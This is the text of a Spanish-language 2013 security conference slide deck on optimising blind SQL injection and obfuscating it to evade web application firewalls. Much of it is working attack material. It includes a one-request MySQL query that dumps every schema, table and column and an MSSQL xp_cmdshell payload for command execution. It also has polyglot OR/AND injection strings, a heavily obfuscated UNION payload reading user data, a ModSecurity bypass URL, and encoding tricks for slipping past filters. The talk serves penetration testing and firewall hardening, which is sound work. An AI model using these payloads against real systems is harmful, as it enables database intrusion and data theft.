Nuevas técnicas de optimización y ofuscación [GuadalajaraCON 2013]

‘) UNION SELECT
`Esta_Platica` AS (Nuevas
Técnicas de Optimización y
Ofuscación’)%00

Roberto Salgado
• Co-fundador de Websec
• Proporcionar soluciones de seguridad
• Pen-testing, capacitación y monitoreo
• Creador del base de conocimientos de SQLi
• Pythonista / Investigador de seguridad
Contacto
• rsalgado@websec.mx
• http://www.websec.mx
• http://www.twitter.com/@LightOS

Indicé
Optimización
• Reducir el numero de peticiones
• Reducir el tamaño de las peticiones
Ofuscación
• Retos de SQLi
• Evadir Firewalls
• Diversión con codificaciones
Leapfrog
• SQLi
• LFI
• XSS

Exploits de una mama
Como prevenir Inyecciones de SQL?
http://www.bobby-tables.com
http://xkcd.com/327/

• Por que nos importa?
OPTIMIZACION
Intro
http://xkcd.com/85/

Análisis de métodos
• Bisección
• Bitwise
• Regex
• Binario a posición (Bin2Pos)
OPTIMIZACION
Inyección de SQL a Ciegas

Recordatorio
• Solo podemos obtener 1 carácter a la vez
• Testeamos si tenemos el carácter correcto con
respuestas “True” o “False”
Ejemplo
• SELECT * FROM users WHERE id=1 AND 1=1
• SELECT * FROM users WHERE id=1 AND 1=2
OPTIMIZACION
Inyección de SQL a Ciegas

OPTIMIZACION
Tabla ASCII
Cada character ASCII puede ser representado con
1 byte o 8 bits
Caracter a
Binario (base 2) 01100001
Octal (base 8) 141
Decimal (base 10) 97
Hexadecimal (base 16) 61

El octavo bit del carácter ASCII que nos interesa
siempre será 0
OPTIMIZACION
Tabla ASCII
Decimal Hexadecimal Binario
0 00 00000000
127 7F 01111111
255 FF 11111111
El rango ASCII que nos interesa
Decimal Hexadecimal Binario
0 00 00000000
127 7F 01111111

• Algoritmo de búsqueda binaria
• ASCII rango 32 – 126
• Se divide la mitad: (32 + 126) / 2 = 79
• El valor es mayor o menor?
• Se divide la mitad nuevamente y se
repite el proceso
OPTIMIZACION
Método Bisección

a = 97 decimal
OPTIMIZACION
Método Bisección
97 entre 79 y 126 True (32 + 126) / 2 = 79
97 entre 79 y 103 True (79 + 126) / 2 = 102.5
97 entre 79 y 91 False (79 + 103) / 2 = 91
97 entre 91 y 103 True (91 + 103) / 2 = 97
97 entre 91 y 97 True (91 + 97) / 2 = 95
97 entre 91 y 95 False (95 + 97) / 2 = 96
97 entre 95 y 97 True 97 != 96
97 == 97

• Cada carácter ASCII puede ser representado
en 1 byte o 8 bits
• El octavo bit del rango ASCII de los caracteres
que nos interesa siempre es 0
• El numero de peticiones siempre será 7
OPTIMIZACION
Métodos Bitwise

OPTIMIZACION
Métodos Bitwise
01100001 >> 7 00000000 0
01100001 >> 6 00000001 1
01100001 >> 5 00000011 3
01100001 >> 4 00000110 6
01100001 >> 3 00001100 12
01100001 >> 2 00011000 24
01100001 >> 1 00110000 48
01100001 >> 0 01100001 97
"Faster Blind MySQL Injection Using Bit Shifting" -
Por Jelmer de Hen

OPTIMIZACION
Métodos Bitwise
a = 97 dec = 01100001
(97 >> 7) = 0 1 o 0 1
(97 >> 6) = 0 1 o 0 0
(97 >> 5) = 2 010 o 011 0
(97 >> 4) = 6 0110 o 0111 1
Por Jelmer de Hen

OPTIMIZACION
Métodos Bitwise
Por Jelmer de Hen
Pros:
• La cantidad de peticiones es consistente
Contras:
• Siempre usa 7 peticiones
• Implementacion rara
• No soporta hilos

OPTIMIZACION
Métodos Bitwise
a = 97 dec = 01100001
substr(bin(97>>7),-1,1) 1 o 0 0
substr(bin(97>>6),-1,1) 1 o 0 1
substr(bin(97>>5),-1,1) 1 o 0 1
substr(bin(97>>4),-1,1) 1 o 0 0
"Faster Blind MySQL Injection Using Bit Shifting" –
Mi variacion

OPTIMIZACION
Métodos Bitwise
"Faster Blind MySQL Injection Using Bit Shifting" –
Mi variacion
Pros:
• Hilos
Contras:

OPTIMIZACION
Métodos Bitwise
a = 97 dec = 01100001
97 & 1 00000001
97 & 2 00000010
97 & 4 00000100
97 & 8 00001000
"Bit ANDing" - Por Ruben Ventura

OPTIMIZACION
Métodos Bitwise
a = 97 dec = 01100001
97 & 1 00000001 1
97 & 2 00000010
97 & 4 00000100
97 & 8 00001000

OPTIMIZACION
Métodos Bitwise
a = 97 dec = 01100001
97 & 1 00000001 1
97 & 2 00000010 0
97 & 4 00000100
97 & 8 00001000

OPTIMIZACION
Métodos Bitwise
a = 97 dec = 01100001
97 & 1 00000001 1
97 & 2 00000010 0
97 & 4 00000100 0
97 & 8 00001000

OPTIMIZACION
Métodos Bitwise
a = 97 dec = 01100001
97 & 1 00000001 1
97 & 2 00000010 0
97 & 4 00000100 0
97 & 8 00001000 0

OPTIMIZACION
Métodos Bitwise
Pros:
• Hilos
Contras:

OPTIMIZACION
Métodos Bitwise
a = 97 dec = 01100001
substr(bin(97),1,1) 1100001 1
substr(bin(97),2,1) 1100001 1
substr(bin(97),3,1) 1100001 0
substr(bin(97),4,1) 1100001 0
"Bit Substringing" - Por Keith Makan

"Bit Substringing" - Por Keith Makan
OPTIMIZACION
Métodos Bitwise
Pros:
• Hilos
Contras:

‚Regex method‛ - Por Simone 'R00T_ATI'
Quatrini y Marco 'white_sheep' Rondini
OPTIMIZACION
Método Regex
REGEXP '^[a-z]' True
REGEXP '^[a-n]' True
REGEXP '^[a-g]' False
REGEXP '^[h-n]' True
REGEXP '^[h-l]' False

‚Regex method‛ - Por Simone 'R00T_ATI'
Quatrini y Marco 'white_sheep' Rondini
OPTIMIZACION
Método Regex
Pros:
• No se tiene que convertir a decimal
Contras:
• Requiere comillas

• Requiere una lista de los caracteres posibles
(32 – 126 decimal)
• Entre mas cerca este el carácter al inicio de la
lista, menos cantidad de peticiones son
requeridas
• Podemos ordenar la lista de caracteres por las
letras mas frecuentes del idioma
OPTIMIZACION
Método Bin2Pos

• Relacionar el carácter con su posición en la
lista
• Convertir esta posición a binario
• Hemos reducido la cantidad de caracteres a
buscar a 2 (0 y 1)
OPTIMIZACION
Método Bin2Pos

• Nuestra lista (sin mayúsculas)
– abcdefghijklmnopqrstuvwxyz
_0123456789,.<>/?;:'"[{]}|=+-
)(*&^%$#@!`~
• Lista hexadecimal
– 0123456789ABCDEF
• La lista mas grande tiene 94 caracteres
– BIN(1) = 1
– BIN(94) = 1011110
OPTIMIZACION
Método Bin2Pos

OPTIMIZACION
Método Bin2Pos
IF((@a:=MID(BIN(POSITION(MID((SE
LECT password from users where
id=2 LIMIT 1),1,1)IN
CHAR(48,49,50,51,52,53,54,55,56,
57,65,66,67,68,69,70))),1,1))!=s
pace(0),2-@a,0/0)

OPTIMIZACION
Método Bin2Pos
• a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,
t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,_,!,
@,#,$,%,^,&,*,(,),-
,+,=,,,.,",',~,`,,|,{,},[,],:,;, ,

OPTIMIZACION
Método Bin2Pos
• “C” es la 3era posición en la lista, que equivale a 11 en
binario
• El 11 tiene 6 ceros a su izquierda: 00000011
• Nuestra petición empieza con el primer 1
• Por lo mismo, el primer numero siempre será 1

OPTIMIZACION
Método Bin2Pos
Obteniendo 11
• Sabemos que el primer digito es 1
• No requiere petición
• El segundo digito es 1?
• Si
• El tercer digito es 1?
• No, el tercer digito no existe
• Numero total de peticiones para “C”: 2

OPTIMIZACION
Método Bin2Pos
Pros:
• Muy pocas peticiones
• No es fácil de entender
Contras:
• Requieres 2 paginas diferentes
• Entre mas grande la lista, mas peticiones son
requeridas

OPTIMIZACION
Comparación de Métodos

OPTIMIZACION
Comparación de Métodos
DEMO

Obtener todas las bases de datos, tablas y
columnas con solo una petición
OPTIMIZANDO CONSULTAS
MySQL

SELECT (@) FROM
(SELECT(@:=0x00),(SELECT (@)
FROM
(information_schema.columns)
WHERE (table_schema>=@) AND
(@)IN (@:=CONCAT(@,0x0a,' [
',table_schema,' ]
>',table_name,' >
',column_name))))x
MySQL

Demo
MySQL - Demo

Una consulta para ejecución de código remota
• Checa si xp_cmdshell esta cargado
• Si esta cargado, checa si esta activo
• Corre el comando 'dir' y guarda el resultado
en la tabla TMP_DB
MSSQL

' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE
TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a
varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE
id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY
(id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE
%23xp_cmdshell (name nvarchar(11), min int, max int,
config_value int, run_value int) INSERT %23xp_cmdshell
EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT
* FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE
TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC
master..xp_cmdshell 'dir' SELECT @a='' SELECT
@a=Replace(@a%2B' '%2Bdir,'<dir>','') FROM %23Data WHERE dir>@a DROP TABLE
%23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP
TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not
found' SELECT @a AS tbl INTO TMP_DB--
MSSQL

• Las pruebas pueden llegar a ser tedioso
• Inyecciones de SQL pueden usar comillas,
comillas dobles o no tener comillas
• 400+ parámetros por modulo?!?!
Mas Consultas de 1 Línea

Mínimo 3 pruebas diferentes por parámetro:
• OR 1=1
• OR '1'='1
• OR “1”=“1

Que tal si los fusionamos?
- OR 1#"OR"'OR''='"="'OR''='

- OR 1#"OR"'OR''='"="'OR''='
• Sin comillas

- OR 1#"OR"'OR''='"="'OR''='
• Sin comillas
• Doble comillas

- OR 1#"OR"'OR''='"="'OR''='
• Sin comillas
• Doble comillas
• Comillas simples

Que tal AND?
- !=0--+"!="'!='

Que tal AND?
- !=0--+"!="'!='
• Sin comillas

Que tal AND?
- !=0--+"!="'!='
• Sin comillas
• Doble comillas

Que tal AND?
- !=0--+"!="'!='
• Sin comillas
• Doble comillas
• Comillas simples

OFUSCACION
Como Confundir al Admin
UNION select@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO $ fRom(SeLEct@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO
frOMìnformation_schema`.`triggers`)0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO WHere !FAlSE||tRue&&FalSe||FalsE&&TrUE like
TruE||FalSE
union/*!98765select@000OO0O0OooOoO0OOoooOOoOooo0o0o:=grOup_cONcaT(ùsername`)``from(users)whErE(username)like'a
dmin'limit 1*/select@000OO0O0OooOoO0OOoooO0oOooo0o0o limit 1,0 UnION
SeleCt(selEct(sELecT/*!67890sELect@000OO0O0O0oOoO0OOoooOOoOooo0o0o:=group_concat(`table_name`)FrOM
information_schema.statistics WhERE TABLe_SCHEmA
In(database())*//*!@000OO0O0OooOoO0OOoooO0oOooo0o0o:=gROup_conCat(/*!taBLe_naME)*/fRoM
information_schema.partitions where TABLe_SCHEma not in(concat((select insert(insert((select
(collation_name)from(information_schema.collations)where(id)=true+true),true,floor(pi()),trim(version()from(@@version))),floor(pi(
)),ceil(pi()*pi()),space(0))), conv((125364/(true-!true))-42351,
ceil(pi()*pi()),floor(pow(pi(),pi()))),mid(aes_decrypt(aes_encrypt(0x6175746F6D6174696F6E,0x4C696768744F53),0x4C696768744F5
3)FROM floor(version()) FOR ceil(version())),rpad(reverse(lpad(collation(user()),ceil(pi())--@@log_bin,0x00)),!
!true,0x00),CHAR((ceil(pi())+!false)*ceil((pi()+ceil(pi()))*pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--cos(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--
ceil(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))-cos(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--floor(pi()*pi()),(ceil(pi()*pi())*ceil(pi()*pi()))-
floor(pi()))),0x6d7973716c))from(select--
(select~0x7))0o0oOOO0Oo0OOooOooOoO00Oooo0o0oO)from(select@/*!/*!$*/from(select+3.``)000oOOO0Oo0OOooOooOoO00O
ooo0o0oO)0o0oOOO0Oo0OOooOooOoO00Oooo0o0oO/*!76799sElect@000OO0O0OooOoO00Oooo0OoOooo0o0o:=group_concat(
ùser`)``from`mysql.user`WHeRe(user)=0x726f6f74*/#(SeLECT@ uNioN sElEcT AlL group_concat(cOLumN_nAME,1,1)FroM
InFoRMaTioN_ScHemA.COLUMNS where taBle_scHema not in(0x696e666f726d6174696f6e5f736368656d61,0x6d7973716c)UNION
SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO UNION SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO UNION
SELECT@000OO0O0OooOoO0OOoooO0oOooo0o0oOO UNION SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO)

EVADIENDO FIREWALLS
Tips Generales
• Simple casi siempre es mejor
• Lea la documentación para el
comportamiento inesperado y rarezas
• Aprende de que es capaz el sistema de base
de datos y lo que puede manejar

OFUSCACION
Fuzzer Sencillo en PHP
<?php
$link = mysql_connect('localhost', 'root', '');
for($i=0; $i<=255; $i++) {
$query = mysql_query("SELECT 1 FROM dual WHERE
1" . chr($i) . "=1");
if(!$query) {
continue;
}
echo $i . ':0x' . dechex($i) . ':' . chr($i) .
' ';
}
?>

OFUSCACION
Fuzzer Sencillo en PHP

OFUSCACION
Espacios Validos
SQLite3
- 0A, 0D, 0C, 09, 20
MySQL
- 09, 0A, 0B, 0C, 0D, A0, 20
MSSQL
- 01, 02, 03, 04, 05, 06, 07, 08, 09,
0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12,
13, 14, 15, 16, 17, 18, 19, 1A, 1B,
1C, 1D, 1E, 1F, 20, 25

EVADIENDO FIREWALLS
Tips Generales
• No empieces con algo complicado y obvio
• Mejor mantenlo simple
– CASE WHEN TRUE THEN TRUE END
- UNION SELECT GROUP_CONCAT(TABLE_NAME)
FROM INFORMATION_SCHEMA.TABLES

EVADIENDO FIREWALLS
Tips Generales
– CASE WHEN TRUE THEN TRUE ELSE 1 END

EVADIENDO FIREWALLS
Tips Generales
– CASE WHEN (SELECT TRUE) THEN TRUE ELSE 1
END

EVADIENDO FIREWALLS
Tips Generales
– CASE WHEN (SELECT TRUE FROM dual) THEN
TRUE ELSE 1 END

EVADIENDO FIREWALLS
Tips Generales
– CASE WHEN (SELECT TRUE FROM`dual`) THEN
TRUE ELSE 1 END

EVADIENDO FIREWALLS
Tips Generales
– CASE WHEN (SELECT(TRUE)FROM`dual`) THEN
TRUE ELSE 1 END

EVADIENDO FIREWALLS
Retos de SQLi
Modsecurity
http://www.modsecurity.org/testphp.vulnweb.c
om/artists.php?artist=-
2%20div%201%20union%20all%23in%0A%23bet
ween%20comments%0A23in%0A%23between%
20comments%0A%0Aselect%200x00,%200x41%
20like/*!31337table_name*/,3%20from%20inf
ormation_schema.tables%20limit%201

EVADIENDO FIREWALLS
Codificaciones
• URL encode
• Double URL encode
• Unicode encode
• Short UTF8
• Long UTF8
• First Nibble
• Second Nibble
• Double Nibble
• Invalid Hex

EVADIENDO FIREWALLS – Codificaciones
URL Encode
• URL Encoding se usa para transformar
caracteres “especiales” para que se puedan
mandar por HTTP
• Los caracteres son transformados en su
equivalente hexadecimal, con el % (signo
de porcentaje) de prefijo
• a = %61

Double URL Encode
• Double URL encode es el proceso de re-
codificar el % (signo de porcentaje)
• a = %61
• %61 = %2561

URL Encode / Firewalls Debiles
Descripcion del tamper script
“charencode” de SQLMAP que se usa para
codificar la peticion como URL encode:
“Useful to bypass very weak web application
firewalls that do not url-decode the request
before processing it through their ruleset”

URL Encode / Firewalls Debiles
Demo

Nibble
• Un nibble son 4 bits
• Un nibble representa medio caracter
hexadecimal (2^4 = 16)
• Dos nibbles o un octet, representa un
caracter hexadecimal

Nibble
Hex Decimal Octal Binary
0 0 0 0000
1 1 1 0001
2 2 2 0010
3 3 3 0011
4 4 4 0100
5 5 5 0101
6 6 6 0110
7 7 7 0111
8 8 10 1000
9 9 11 1001
A 10 12 1010
B 11 13 1011
C 12 14 1100
D 13 15 1101
E 14 16 1110
F 15 17 1111

First Nibble
• Los primeros 4 bits son URL encoded
• “a” = %61
• 6 = %36
• %%361

Second Nibble
• Los segundos 4 bits son URL encoded
• “a” = %61
• 1 = %31
• %6%31

Double Nibble
• Es una combinacion de “first nibble” +
“second nibble” encoding
• “a” = %61
• 6 = 36
• 1 = %31
• %%36%31

Hex Invalido
• Se trata de crear hex invalido que resulta en
el mismo valor decimal que hex valido
• “a” = %61
• %61 = 6 * 16 + 1 = 97
• %2Ú = 2 * 16 + 65 = 97
• %2Ú es lo mismo que %61

Invalid Hex
Decimal Hex Valido Hex Invalido
10 0A 0A
11 0B 0B
12 0C 0C
13 0D 0D
14 0E 0E
15 0F 0F
16 10 0G
17 11 0H

RAREZAS DE PHP
Espacios
<?php
if(preg_match("/^.+$/", $_GET["t"])) {
Bloque peticion maliciosa...
}
?>
?t=1 AND 1=1 BLOQUEADO
?t=1 AND 1=1%20
?t=1 AND 1=1%A0
?t=1 AND 1=1%0D,%0C,%0B
?t=1 AND 1=1%0A%20
BLOQUEADO
BLOQUEADO
BLOQUEADO
PERMITIDO

RAREZAS DE PHP
Espacios
<?php
if(preg_match("/s+/", $_GET["t"])) {
Bloque peticion maliciosa...
}
?>
• En algunas configuraciones el NBSP es
detectado como un espacio, en otras
configuraciones no lo es

• Una herramienta diseñada para mejorar las
reglas del Firewall
• Busca bypases para diferentes ataques web
(SQLi, XSS, LFI, Filtros de contenido)
• Crea todo sus vectores dinámicamente
• Proporciona recomendaciones al encontrar
un bypass
• Genera una calificación basada en la cantidad
de vectores permitidos
LEAPFROG
Que es?

• WAF Acceptance Factor es la calificación que
genera basado en los vectores permitidos
LEAPFROG
WAF Acceptance Factor

• Wife Acceptance Factor tomado de:
http://en.wikipedia.org/wiki/Wife_acceptance_factor
LEAPFROG
Wife Acceptance Factor

@LightOS
rsalgado@websec.mx
http://www.websec.mx
El FIN
Informacion de Contacto

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